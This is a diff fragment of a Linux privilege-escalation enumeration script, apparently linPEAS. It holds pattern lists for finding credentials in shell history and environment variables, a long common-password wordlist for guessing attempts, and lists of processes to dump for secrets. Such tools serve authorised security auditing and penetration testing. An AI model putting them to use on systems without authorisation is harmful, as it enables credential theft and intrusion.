sh_usrs=$(cat /etc/passwd 2>/dev/null | grep -v "^root:" | grep -i "sh$" | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/' | sed 's/|sys|/|sys[\\\s:]|^sys$|/' | sed 's/|daemon|/|daemon[\\\s:]|^daemon$|/')"ImPoSSssSiBlEee" #Modified bin, sys and daemon so they are not colored everywhere - nosh_usrs=$(cat /etc/passwd 2>/dev/null | grep -i -v "sh$" | sort | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/')"ImPoSSssSiBlEee" + # Surround each username with word boundary character '\b' to prevent false positives caused by short user names (e.g. user "sys" shouldn't highlight partial match on "system") + nosh_usrs=$(cat /etc/passwd 2>/dev/null | grep -i -v "sh$" |awk '{ print "\\b" $0 }' | sort | cut -d ":" -f 1 | sed s/$/\\\\b/g | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/')"ImPoSSssSiBlEee" +fi +knw_usrs='_amavisd|_analyticsd|_appinstalld|_appleevents|_applepay|_appowner|_appserver|_appstore|_ard|_assetcache|_astris|_atsserver|_avbdeviced|_calendar|_captiveagent|_ces|_clamav|_cmiodalassistants|_coreaudiod|_coremediaiod|_coreml|_ctkd|_cvmsroot|_cvs|_cyrus|_datadetectors|_demod|_devdocs|_devicemgr|_diskimagesiod|_displaypolicyd|_distnote|_dovecot|_dovenull|_dpaudio|_driverkit|_eppc|_findmydevice|_fpsd|_ftp|_fud|_gamecontrollerd|_geod|_hidd|_iconservices|_installassistant|_installcoordinationd|_installer|_jabber|_kadmin_admin|_kadmin_changepw|_knowledgegraphd|_krb_anonymous|_krb_changepw|_krb_kadmin|_krb_kerberos|_krb_krbtgt|_krbfast|_krbtgt|_launchservicesd|_lda|_locationd|_logd|_lp|_mailman|_mbsetupuser|_mcxalr|_mdnsresponder|_mobileasset|_mysql|_nearbyd|_netbios|_netstatistics|_networkd|_nsurlsessiond|_nsurlstoraged|_oahd|_ondemand|_postfix|_postgres|_qtss|_reportmemoryexception|_rmd|_sandbox|_screensaver|_scsd|_securityagent|_softwareupdate|_spotlight|_sshd|_svn|_taskgated|_teamsserver|_timed|_timezone|_tokend|_trustd|_trustevaluationagent|_unknown|_update_sharing|_usbmuxd|_uucp|_warmd|_webauthserver|_windowserver|_www|_wwwproxy|_xserverdocs|daemon\W|^daemon$|message\+|syslog|www|www-data|mail|nobody|Debian\-\+|rtkit|systemd\+' +if ! [ "$USER" ]; then + USER=$(whoami 2>/dev/null || echo -n "UserUnknown") fi -knw_usrs='_amavisd|_analyticsd|_appinstalld|_appleevents|_applepay|_appowner|_appserver|_appstore|_ard|_assetcache|_astris|_atsserver|_avbdeviced|_calendar|_captiveagent|_ces|_clamav|_cmiodalassistants|_coreaudiod|_coremediaiod|_coreml|_ctkd|_cvmsroot|_cvs|_cyrus|_datadetectors|_demod|_devdocs|_devicemgr|_diskimagesiod|_displaypolicyd|_distnote|_dovecot|_dovenull|_dpaudio|_driverkit|_eppc|_findmydevice|_fpsd|_ftp|_fud|_gamecontrollerd|_geod|_hidd|_iconservices|_installassistant|_installcoordinationd|_installer|_jabber|_kadmin_admin|_kadmin_changepw|_knowledgegraphd|_krb_anonymous|_krb_changepw|_krb_kadmin|_krb_kerberos|_krb_krbtgt|_krbfast|_krbtgt|_launchservicesd|_lda|_locationd|_logd|_lp|_mailman|_mbsetupuser|_mcxalr|_mdnsresponder|_mobileasset|_mysql|_nearbyd|_netbios|_netstatistics|_networkd|_nsurlsessiond|_nsurlstoraged|_oahd|_ondemand|_postfix|_postgres|_qtss|_reportmemoryexception|_rmd|_sandbox|_screensaver|_scsd|_securityagent|_softwareupdate|_spotlight|_sshd|_svn|_taskgated|_teamsserver|_timed|_timezone|_tokend|_trustd|_trustevaluationagent|_unknown|_update_sharing|_usbmuxd|_uucp|_warmd|_webauthserver|_windowserver|_www|_wwwproxy|_xserverdocs|daemon\W|^daemon$|message\+|syslog|www|www-data|mail|noboby|Debian\-\+|rtkit|systemd\+' -USER=$(whoami 2>/dev/null || echo "UserUnknown") if [ ! "$HOME" ]; then - if [ -d "/Users/$USER" ]; then HOME="/Users/$USER"; #Mac home + if [ -d "/Users/$USER" ]; then HOME="/Users/$USER"; # Mac home else HOME="/home/$USER"; fi fi Groups="ImPoSSssSiBlEee"$(groups "$USER" 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|') -#This variables are dived in several different ones because NetBSD required it -pwd_inside_history="enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:" +# These variables are divided into several different ones because NetBSD requires that. +pwd_inside_history="az login|enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|roadrecon auth|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|Save-AzContext|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:|chpasswd" pwd_in_variables1="Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID" pwd_in_variables2="AUTH0_CLIENT_SECRET|AUTH0_CONNECTION|AUTH0_DOMAIN|AUTHOR_EMAIL_ADDR|AUTHOR_NPM_API_KEY|AUTH_TOKEN|AWS-ACCT-ID|AWS-KEY|AWS-SECRETS|AWS.config.accessKeyId|AWS.config.secretAccessKey|AWSACCESSKEYID|AWSCN_ACCESS_KEY_ID|AWSCN_SECRET_ACCESS_KEY|AWSSECRETKEY|AWS_ACCESS|AWS_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_CF_DIST_ID|AWS_DEFAULT|AWS_DEFAULT_REGION|AWS_S3_BUCKET|AWS_SECRET|AWS_SECRET_ACCESS_KEY|AWS_SECRET_KEY|AWS_SES_ACCESS_KEY_ID|AWS_SES_SECRET_ACCESS_KEY|B2_ACCT_ID|B2_APP_KEY|B2_BUCKET|baseUrlTravis|bintrayKey|bintrayUser|BINTRAY_APIKEY|BINTRAY_API_KEY|BINTRAY_KEY|BINTRAY_TOKEN|BINTRAY_USER|BLUEMIX_ACCOUNT|BLUEMIX_API_KEY|BLUEMIX_AUTH|BLUEMIX_NAMESPACE|BLUEMIX_ORG|BLUEMIX_ORGANIZATION|BLUEMIX_PASS|BLUEMIX_PASS_PROD|BLUEMIX_SPACE|BLUEMIX_USER|BRACKETS_REPO_OAUTH_TOKEN|BROWSERSTACK_ACCESS_KEY|BROWSERSTACK_PROJECT_NAME|BROWSER_STACK_ACCESS_KEY|BUCKETEER_AWS_ACCESS_KEY_ID|BUCKETEER_AWS_SECRET_ACCESS_KEY|BUCKETEER_BUCKET_NAME|BUILT_BRANCH_DEPLOY_KEY|BUNDLESIZE_GITHUB_TOKEN|CACHE_S3_SECRET_KEY|CACHE_URL|CARGO_TOKEN|CATTLE_ACCESS_KEY|CATTLE_AGENT_INSTANCE_AUTH|CATTLE_SECRET_KEY|CC_TEST_REPORTER_ID|CC_TEST_REPOTER_ID|CENSYS_SECRET|CENSYS_UID|CERTIFICATE_OSX_P12|CF_ORGANIZATION|CF_PROXY_HOST|channelId|CHEVERNY_TOKEN|CHROME_CLIENT_ID" pwd_in_variables3="CHROME_CLIENT_SECRET|CHROME_EXTENSION_ID|CHROME_REFRESH_TOKEN|CI_DEPLOY_USER|CI_NAME|CI_PROJECT_NAMESPACE|CI_PROJECT_URL|CI_REGISTRY_USER|CI_SERVER_NAME|CI_USER_TOKEN|CLAIMR_DATABASE|CLAIMR_DB|CLAIMR_SUPERUSER|CLAIMR_TOKEN|CLIENT_ID|CLIENT_SECRET|CLI_E2E_CMA_TOKEN|CLI_E2E_ORG_ID|CLOUDAMQP_URL|CLOUDANT_APPLIANCE_DATABASE|CLOUDANT_ARCHIVED_DATABASE|CLOUDANT_AUDITED_DATABASE|CLOUDANT_DATABASE|CLOUDANT_ORDER_DATABASE|CLOUDANT_PARSED_DATABASE|CLOUDANT_PROCESSED_DATABASE|CLOUDANT_SERVICE_DATABASE|CLOUDFLARE_API_KEY|CLOUDFLARE_AUTH_EMAIL|CLOUDFLARE_AUTH_KEY|CLOUDFLARE_EMAIL|CLOUDFLARE_ZONE_ID|CLOUDINARY_URL|CLOUDINARY_URL_EU|CLOUDINARY_URL_STAGING|CLOUD_API_KEY|CLUSTER_NAME|CLU_REPO_URL|CLU_SSH_PRIVATE_KEY_BASE64|CN_ACCESS_KEY_ID|CN_SECRET_ACCESS_KEY|COCOAPODS_TRUNK_EMAIL|COCOAPODS_TRUNK_TOKEN|CODACY_PROJECT_TOKEN|CODECLIMATE_REPO_TOKEN|CODECOV_TOKEN|coding_token|CONEKTA_APIKEY|CONFIGURATION_PROFILE_SID|CONFIGURATION_PROFILE_SID_P2P|CONFIGURATION_PROFILE_SID_SFU|CONSUMERKEY|CONSUMER_KEY|CONTENTFUL_ACCESS_TOKEN|CONTENTFUL_CMA_TEST_TOKEN|CONTENTFUL_INTEGRATION_MANAGEMENT_TOKEN|CONTENTFUL_INTEGRATION_SOURCE_SPACE|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN_NEW|CONTENTFUL_ORGANIZATION" -pwd_in_variables4="CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN|CONTENTFUL_TEST_ORG_CMA_TOKEN|CONTENTFUL_V2_ACCESS_TOKEN|CONTENTFUL_V2_ORGANIZATION|CONVERSATION_URL|COREAPI_HOST|COS_SECRETS|COVERALLS_API_TOKEN|COVERALLS_REPO_TOKEN|COVERALLS_SERVICE_NAME|COVERALLS_TOKEN|COVERITY_SCAN_NOTIFICATION_EMAIL|COVERITY_SCAN_TOKEN|CYPRESS_RECORD_KEY|DANGER_GITHUB_API_TOKEN|DATABASE_HOST|DATABASE_NAME|DATABASE_PORT|DATABASE_USER|datadog_api_key|datadog_app_key|DB_CONNECTION|DB_DATABASE|DB_HOST|DB_PORT|DB_PW|DB_USER|DDGC_GITHUB_TOKEN|DDG_TEST_EMAIL|DDG_TEST_EMAIL_PW|DEPLOY_DIR|DEPLOY_DIRECTORY|DEPLOY_HOST|DEPLOY_PORT|DEPLOY_SECURE|DEPLOY_TOKEN|DEPLOY_USER|DEST_TOPIC|DHL_SOLDTOACCOUNTID|DH_END_POINT_1|DH_END_POINT_2|DIGITALOCEAN_ACCESS_TOKEN|DIGITALOCEAN_SSH_KEY_BODY|DIGITALOCEAN_SSH_KEY_IDS|DOCKER_EMAIL|DOCKER_KEY|DOCKER_PASSDOCKER_POSTGRES_URL|DOCKER_RABBITMQ_HOST|docker_repo|DOCKER_TOKEN|DOCKER_USER|DOORDASH_AUTH_TOKEN|DROPBOX_OAUTH_BEARER|ELASTICSEARCH_HOST|ELASTIC_CLOUD_AUTH|env.GITHUB_OAUTH_TOKEN|env.HEROKU_API_KEY|ENV_KEY|ENV_SECRET|ENV_SECRET_ACCESS_KEY|eureka.awsAccessId" +pwd_in_variables4="CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN|CONTENTFUL_TEST_ORG_CMA_TOKEN|CONTENTFUL_V2_ACCESS_TOKEN|CONTENTFUL_V2_ORGANIZATION|CONVERSATION_URL|COREAPI_HOST|COS_SECRETS|COVERALLS_API_TOKEN|COVERALLS_REPO_TOKEN|COVERALLS_SERVICE_NAME|COVERALLS_TOKEN|COVERITY_SCAN_NOTIFICATION_EMAIL|COVERITY_SCAN_TOKEN|CYPRESS_RECORD_KEY|DANGER_GITHUB_API_TOKEN|DATABASE_HOST|DATABASE_NAME|DATABASE_PORT|DATABASE_USER|DATABASE_PASSWORD|datadog_api_key|datadog_app_key|DB_CONNECTION|DB_DATABASE|DB_HOST|DB_PORT|DB_PW|DB_USER|DDGC_GITHUB_TOKEN|DDG_TEST_EMAIL|DDG_TEST_EMAIL_PW|DEPLOY_DIR|DEPLOY_DIRECTORY|DEPLOY_HOST|DEPLOY_PORT|DEPLOY_SECURE|DEPLOY_TOKEN|DEPLOY_USER|DEST_TOPIC|DHL_SOLDTOACCOUNTID|DH_END_POINT_1|DH_END_POINT_2|DIGITALOCEAN_ACCESS_TOKEN|DIGITALOCEAN_SSH_KEY_BODY|DIGITALOCEAN_SSH_KEY_IDS|DOCKER_EMAIL|DOCKER_KEY|DOCKER_PASSDOCKER_POSTGRES_URL|DOCKER_RABBITMQ_HOST|docker_repo|DOCKER_TOKEN|DOCKER_USER|DOORDASH_AUTH_TOKEN|DROPBOX_OAUTH_BEARER|ELASTICSEARCH_HOST|ELASTIC_CLOUD_AUTH|env.GITHUB_OAUTH_TOKEN|env.HEROKU_API_KEY|ENV_KEY|ENV_SECRET|ENV_SECRET_ACCESS_KEY|eureka.awsAccessId" pwd_in_variables5="eureka.awsSecretKey|ExcludeRestorePackageImports|EXPORT_SPACE_ID|FIREBASE_API_JSON|FIREBASE_API_TOKEN|FIREBASE_KEY|FIREBASE_PROJECT|FIREBASE_PROJECT_DEVELOP|FIREBASE_PROJECT_ID|FIREBASE_SERVICE_ACCOUNT|FIREBASE_TOKEN|FIREFOX_CLIENT|FIREFOX_ISSUER|FIREFOX_SECRET|FLASK_SECRET_KEY|FLICKR_API_KEY|FLICKR_API_SECRET|FOSSA_API_KEY|ftp_host|FTP_LOGIN|FTP_PW|FTP_USER|GCLOUD_BUCKET|GCLOUD_PROJECT|GCLOUD_SERVICE_KEY|GCS_BUCKET|GHB_TOKEN|GHOST_API_KEY|GH_API_KEY|GH_EMAIL|GH_NAME|GH_NEXT_OAUTH_CLIENT_ID|GH_NEXT_OAUTH_CLIENT_SECRET|GH_NEXT_UNSTABLE_OAUTH_CLIENT_ID|GH_NEXT_UNSTABLE_OAUTH_CLIENT_SECRET|GH_OAUTH_CLIENT_ID|GH_OAUTH_CLIENT_SECRET|GH_OAUTH_TOKEN|GH_REPO_TOKEN|GH_TOKEN|GH_UNSTABLE_OAUTH_CLIENT_ID|GH_UNSTABLE_OAUTH_CLIENT_SECRET|GH_USER_EMAIL|GH_USER_NAME|GITHUB_ACCESS_TOKEN|GITHUB_API_KEY|GITHUB_API_TOKEN|GITHUB_AUTH|GITHUB_AUTH_TOKEN|GITHUB_AUTH_USER|GITHUB_CLIENT_ID|GITHUB_CLIENT_SECRET|GITHUB_DEPLOYMENT_TOKEN|GITHUB_DEPLOY_HB_DOC_PASS|GITHUB_HUNTER_TOKEN|GITHUB_KEY|GITHUB_OAUTH|GITHUB_OAUTH_TOKEN|GITHUB_RELEASE_TOKEN|GITHUB_REPO|GITHUB_TOKEN|GITHUB_TOKENS|GITHUB_USER|GITLAB_USER_EMAIL|GITLAB_USER_LOGIN|GIT_AUTHOR_EMAIL|GIT_AUTHOR_NAME|GIT_COMMITTER_EMAIL|GIT_COMMITTER_NAME|GIT_EMAIL|GIT_NAME|GIT_TOKEN|GIT_USER" pwd_in_variables6="GOOGLE_CLIENT_EMAIL|GOOGLE_CLIENT_ID|GOOGLE_CLIENT_SECRET|GOOGLE_MAPS_API_KEY|GOOGLE_PRIVATE_KEY|gpg.passphrase|GPG_EMAIL|GPG_ENCRYPTION|GPG_EXECUTABLE|GPG_KEYNAME|GPG_KEY_NAME|GPG_NAME|GPG_OWNERTRUST|GPG_PASSPHRASE|GPG_PRIVATE_KEY|GPG_SECRET_KEYS|gradle.publish.key|gradle.publish.secret|GRADLE_SIGNING_KEY_ID|GREN_GITHUB_TOKEN|GRGIT_USER|HAB_AUTH_TOKEN|HAB_KEY|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|HEROKU_API_KEY|HEROKU_API_USER|HEROKU_EMAIL|HEROKU_TOKEN|HOCKEYAPP_TOKEN|INTEGRATION_TEST_API_KEY|INTEGRATION_TEST_APPID|INTERNAL-SECRETS|IOS_DOCS_DEPLOY_TOKEN|IRC_NOTIFICATION_CHANNEL|JDBC:MYSQL|jdbc_databaseurl|jdbc_host|jdbc_user|JWT_SECRET|KAFKA_ADMIN_URL|KAFKA_INSTANCE_NAME|KAFKA_REST_URL|KEYSTORE_PASS|KOVAN_PRIVATE_KEY|LEANPLUM_APP_ID|LEANPLUM_KEY|LICENSES_HASH|LICENSES_HASH_TWO|LIGHTHOUSE_API_KEY|LINKEDIN_CLIENT_ID|LINKEDIN_CLIENT_SECRET|LINODE_INSTANCE_ID|LINODE_VOLUME_ID|LINUX_SIGNING_KEY|LL_API_SHORTNAME|LL_PUBLISH_URL|LL_SHARED_KEY|LOOKER_TEST_RUNNER_CLIENT_ID|LOOKER_TEST_RUNNER_CLIENT_SECRET|LOOKER_TEST_RUNNER_ENDPOINT|LOTTIE_HAPPO_API_KEY|LOTTIE_HAPPO_SECRET_KEY|LOTTIE_S3_API_KEY|LOTTIE_S3_SECRET_KEY|mailchimp_api_key|MAILCHIMP_KEY|mailchimp_list_id|mailchimp_user|MAILER_HOST|MAILER_TRANSPORT|MAILER_USER" pwd_in_variables7="MAILGUN_APIKEY|MAILGUN_API_KEY|MAILGUN_DOMAIN|MAILGUN_PRIV_KEY|MAILGUN_PUB_APIKEY|MAILGUN_PUB_KEY|MAILGUN_SECRET_API_KEY|MAILGUN_TESTDOMAIN|ManagementAPIAccessToken|MANAGEMENT_TOKEN|MANAGE_KEY|MANAGE_SECRET|MANDRILL_API_KEY|MANIFEST_APP_TOKEN|MANIFEST_APP_URL|MapboxAccessToken|MAPBOX_ACCESS_TOKEN|MAPBOX_API_TOKEN|MAPBOX_AWS_ACCESS_KEY_ID|MAPBOX_AWS_SECRET_ACCESS_KEY|MG_API_KEY|MG_DOMAIN|MG_EMAIL_ADDR|MG_EMAIL_TO|MG_PUBLIC_API_KEY|MG_SPEND_MONEY|MG_URL|MH_APIKEY|MILE_ZERO_KEY|MINIO_ACCESS_KEY|MINIO_SECRET_KEY|MYSQLMASTERUSER|MYSQLSECRET|MYSQL_DATABASE|MYSQL_HOSTNAMEMYSQL_USER|MY_SECRET_ENV|NETLIFY_API_KEY|NETLIFY_SITE_ID|NEW_RELIC_BETA_TOKEN|NGROK_AUTH_TOKEN|NGROK_TOKEN|node_pre_gyp_accessKeyId|NODE_PRE_GYP_GITHUB_TOKEN|node_pre_gyp_secretAccessKey|NPM_API_KEY|NPM_API_TOKEN|NPM_AUTH_TOKEN|NPM_EMAIL|NPM_SECRET_KEY|NPM_TOKEN|NUGET_APIKEY|NUGET_API_KEY|NUGET_KEY|NUMBERS_SERVICE|NUMBERS_SERVICE_PASS|NUMBERS_SERVICE_USER|OAUTH_TOKEN|OBJECT_STORAGE_PROJECT_ID|OBJECT_STORAGE_USER_ID|OBJECT_STORE_BUCKET|OBJECT_STORE_CREDS|OCTEST_SERVER_BASE_URL|OCTEST_SERVER_BASE_URL_2|OC_PASS|OFTA_KEY|OFTA_SECRET|OKTA_CLIENT_TOKEN|OKTA_DOMAIN|OKTA_OAUTH2_CLIENTID|OKTA_OAUTH2_CLIENTSECRET|OKTA_OAUTH2_CLIENT_ID|OKTA_OAUTH2_CLIENT_SECRET" @@ -485,9 +490,9 @@ katherine kangaroo jenny immortal harris hamlet gracie fucking firefly chocolat charmed cassandra caitlin bismillah believe alice airforce 7777 viper tony theodore sylvia suzanne starfish sparkle server samsam qweqwe public pass1234 neptune marian krishna kkkkkk jungle cinnamon bitches 741852 trojan theresa sweetheart speaker salmon powers pizza overlord michaela meredith masters lindsey history farmer express escape cuddles carson candy buttercup brownie broken abc12345 aardvark Passw0rd 141414 124578 123789 12345678910 00000 universal trinidad tobias thursday surfing stuart stinky standard roller porter pearljam mobile mirage markus loulou jjjjjj herbert grace goldie frosty fighter fatima evelyn eagle desire crimson coconut cheryl beavis anonymous andres africa 134679 whiskey velvet stormy springer soldier ragnarok portland oranges nobody nathalie malibu looking lemonade lavender hitler hearts gotohell gladiator gggggg freckles fashion david1 crusader cosmos commando clover clarence center cadillac brooks bronco bonita babylon archer alexandre 123654789 verbatim umbrella thanks sunny stalker splinter sparrow selena russia roberts register qwert123 penguins panda ncc1701d miracle melvin lonely lexmark kitkat julie graham frances estrella downtown doodle deborah cooler colombia chemistry cactus bridge bollocks beetle anastasia 741852963 69696969 unique sweets station showtime sheena santos rock revolution reading qwerasdf password2 mongoose marlene maiden machine juliet illusion hayden fabian derrick crazy cooldude chipper bomber blonde bigred amazing aliens abracadabra 123qweasd wwwwww treasure timber smith shelly sesame pirates pinkfloyd passwords nature marlin marines linkinpark larissa laptop hotrod gambit elvis education dustin devils damian christy braves baller anarchy white valeria underground strong poopoo monalisa memory lizzie keeper justdoit house homer gerard ericsson emily divine colleen chelsea1 cccccc camera bonbon billie bigfoot badass asterix anna animals \ andy achilles a1s2d3f4 violin veronika vegeta tyler test1234 teddybear tatiana sporting spartan shelley sharks respect raven pentium papillon nevermind marketing manson madness juliette jericho gabrielle fuckyou2 forgot firewall faith evolution eric eduardo dagger cristian cavalier canadian bruno blowjob blackie beagle admin123 010101 together spongebob snakes sherman reddog reality ramona puppies pedro pacific pa55w0rd omega noodle murray mollie mister halflife franco foster formula1 felix dragonball desiree default chris1 bunny bobcat asdf123 951753 5555 242424 thirteen tattoo stonecold stinger shiloh seattle santana roger roberta rastaman pickles orion mustang1 felicia dracula doggie cucumber cassidy britney brianna blaster belinda apple1 753951 teddy striker stevie soleil snake skateboard sheridan sexsex roxanne redman qqqqqqqq punisher panama paladin none lovelife lights jerry iverson inside hornet holden groovy gretchen grandma gangsta faster eddie chevelle chester1 carrot cannon button administrator a 1212 zxc123 wireless volleyball vietnam twinkle terror sandiego rose pokemon1 picture parrot movies moose mirror milton mayday maestro lollypop katana johanna hunting hudson grizzly gorgeous garbage fish ernest dolores conrad chickens charity casey blueberry blackman blackbird bill beckham battle atlantic wildfire weasel waterloo trance storm singapore shooter rocknroll richie poop pitbull mississippi kisses karen juliana james123 iguana homework highland fire elliot eldorado ducati discover computer1 buddy1 antonia alphabet 159951 123456789a 1123581321 0123456 zaq1xsw2 webmaster vagina unreal university tropical swimmer sugar southpark silence sammie ravens question presario poiuytrewq palmer notebook newman nebraska manutd lucas hermes gators dave dalton cheetah cedric camilla bullseye bridget bingo ashton 123asd yahoo volume valhalla tomorrow starlight scruffy roscoe richard1 positive \ plymouth pepsi patrick1 paradox milano maxima loser lestat gizmo ghetto faithful emerson elliott dominique doberman dillon criminal crackers converse chrissy casanova blowme attitude" -PASSTRY="2000" #Default num of passwds to try (all by default) +PASSTRY="2000" # Default num of passwds to try (all by default) -if [ "$PORTS" ] || [ "$DISCOVERY" ] || [ "$IP" ]; then MAXPATH_FIND_W="1"; fi #If Network reduce the time on this +if [ "$PORTS" ] || [ "$DISCOVERY" ] || [ "$IP" ] || [ "$AUTO_NETWORK_SCAN" ]; then MAXPATH_FIND_W="1"; fi # If Network reduce the time on this SEDOVERFLOW=true for grp in $(groups $USER 2>/dev/null | cut -d ":" -f2); do wgroups="$wgroups -group $grp -or " @@ -509,9 +514,9 @@ while $SEDOVERFLOW; do if [ $? -eq 0 ]; then SEDOVERFLOW=false else - MAXPATH_FIND_W=$(($MAXPATH_FIND_W-1)) #If overflow of directories, check again with MAXPATH_FIND_W - 1 + MAXPATH_FIND_W=$(($MAXPATH_FIND_W-1)) # If overflow of directories, check again with MAXPATH_FIND_W - 1 fi - if [ $MAXPATH_FIND_W -lt 1 ] ; then # prevent infinite loop + if [ $MAXPATH_FIND_W -lt 1 ] ; then # Prevents infinite loop SEDOVERFLOW=false fi done @@ -522,40 +527,41 @@ notExtensions="\.tif$|\.tiff$|\.gif$|\.jpeg$|\.jpg|\.jif$|\.jfif$|\.jp2$|\.jpx$| TIMEOUT="$(command -v timeout 2>/dev/null)" STRACE="$(command -v strace 2>/dev/null)" STRINGS="$(command -v strings 2>/dev/null)" +LDD="$(command -v ldd 2>/dev/null)" +READELF="$(command -v readelf 2>/dev/null)" -shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" +shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/prl-opengl-switcher.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" notBackup="/tdbbackup$|/db_hotbackup$" -cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|" +cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|mod-pagespeed|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|" cronjobsB="centreon" processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port' -processesB="knockd|splunk" +processesB="amazon-ssm-agent|knockd|splunk" processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:" mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier" -profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|appmenu-qt5.sh|apps-bin-path.sh|bash_completion.sh|cedilla-portuguese.sh|colorgrep.csh|colorgrep.sh|colorls.csh|colorls.sh|colorxzgrep.csh|colorxzgrep.sh|colorzgrep.csh|colorzgrep.sh|csh.local|cursor.sh|gawk.csh|gawk.sh|kali.sh|lang.csh|lang.sh|less.csh|less.sh|flatpak.sh|sh.local|vim.csh|vim.sh|vte.csh|vte-2.91.sh|which2.csh|which2.sh|xauthority.sh|Z97-byobu.sh|xdg_dirs_desktop_session.sh|Z99-cloudinit-warnings.sh|Z99-cloud-locale-test.sh" 